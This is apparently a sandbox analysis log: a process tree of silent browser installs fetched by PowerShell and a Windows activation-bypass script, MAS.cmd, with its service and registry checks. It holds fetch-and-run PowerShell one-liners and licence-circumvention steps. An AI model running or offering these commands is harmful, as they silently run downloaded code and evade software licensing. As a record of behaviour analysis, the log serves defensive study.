- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1730177886.exe"C:\Users\Admin\AppData\Local\Temp\1730177886.exe" /silent /install5⤵
- Drops file in Windows directory
- Executes dropped EXE
-
C:\Windows\SystemTemp\Google8000_405467994\bin\updater.exe"C:\Windows\SystemTemp\Google8000_405467994\bin\updater.exe" --silent --install --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&browser=0&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&brand=GTPM --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=26⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\Google8000_405467994\bin\updater.exeC:\Windows\SystemTemp\Google8000_405467994\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x294,0x2b8,0x11712f4,0x1171300,0x117130c7⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $u=$env:TEMP+'\'+(Get-Random)+'.exe';iwr 'https://laptop-updates.brave.com/latest/winx64' -Out $u;Start-Process $u '/silent /install';Start-Sleep -s 120;ri $u -F -EA 0;gps | ?{$_.Name -match 'brave' -or $_.Description -match 'brave'} -EA 0 | stop-process -F4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\646902794.exe"C:\Users\Admin\AppData\Local\Temp\646902794.exe" /silent /install5⤵
- Drops file in Windows directory
- Executes dropped EXE
-
C:\Windows\SystemTemp\GUMBE36.tmp\BraveUpdate.exeC:\Windows\SystemTemp\GUMBE36.tmp\BraveUpdate.exe /silent /install "appguid={AFE6A462-C574-4B8A-AF43-4CC60DF4563B}&appname=Brave-Release&needsadmin=prefers&ap=release&installdataindex=default&referral=none"6⤵
- Event Triggered Execution: Image File Execution Options Injection
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /regsvc7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /regserver7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNjEuMTUxIiBzaGVsbF92ZXJzaW9uPSIxLjMuMzYxLjE1MSIgaXNtYWNoaW5lPSIxIiBzZXNzaW9uaWQ9IntBMDZCM0NFMS03NzRGLTQ3QzQtQUJFMi03RDQ0QzQ4MDhCQjF9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHRlc3Rzb3VyY2U9ImF1dG8iIHJlcXVlc3RpZD0ie0M4RDE2M0U0LTg0NzUtNEU3MS04RDQ1LTFBOThCQ0VCNkZCRH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0ie0IxMzFDOTM1LTlCRTYtNDFEQS05NTk5LTFGNzc2QkVCODAxOX0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjEuMy4zNjEuMTUxIiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBpbnN0YWxsX3RpbWVfbXM9IjM3OSIvPjwvYXBwPjwvcmVxdWVzdD47⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /handoff "appguid={AFE6A462-C574-4B8A-AF43-4CC60DF4563B}&appname=Brave-Release&needsadmin=prefers&ap=release&installdataindex=default&referral=none" /installsource otherinstallcmd /sessionid "{A06B3CE1-774F-47C4-ABE2-7D44C4808BB1}" /silent7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\MAS.cmd" /hwid /silent4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc query Null5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Users\Admin\AppData\Local\Temp\MAS.cmd"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver5⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV25⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "5⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "6⤵
-
-
C:\Windows\System32\cmd.execmd6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\MAS.cmd" "5⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"5⤵
-
-
C:\Windows\System32\fltMC.exefltmc5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mode.commode con6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 activated.win5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\PING.EXEping -n 1 activated.win6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 updatecheck312.activated.win5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 updatecheck312.activated.win6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/S"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/HWID"5⤵
-
-
C:\Windows\System32\mode.commode 110, 345⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s5⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"5⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "5⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"5⤵
-
-
C:\Windows\System32\cmd.execmd /c "wmic path Win32_ComputerSystem get CreationClassName /value"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "computersystem"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku6⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST6⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':winsubstatus\:.*';. ([scriptblock]::Create($f[1]))"5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\find.exefind /i "Subscription_is_activated"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 IoT Enterprise LTSC" "5⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$job = Start-Job { (Get-WmiObject -Query 'SELECT * FROM SoftwareLicensingService').Version }; if (-not (Wait-Job $job -Timeout 30)) {write-host 'sppsvc is not working correctly. Check this webpage for help - https://massgrave.dev/troubleshoot'}"5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 l.root-servers.net5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s5⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"5⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "5⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"5⤵
-
-
C:\Windows\System32\sc.exesc query Null5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState6⤵
-
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start5⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type5⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt5⤵
- Launches sc.exe
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value5⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"5⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0" "5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440 0x80131501"5⤵
-
-
